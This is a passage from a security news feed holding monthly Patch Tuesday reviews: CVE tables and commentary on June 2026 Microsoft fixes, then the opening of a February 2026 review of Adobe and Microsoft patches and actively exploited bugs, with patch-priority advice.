  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
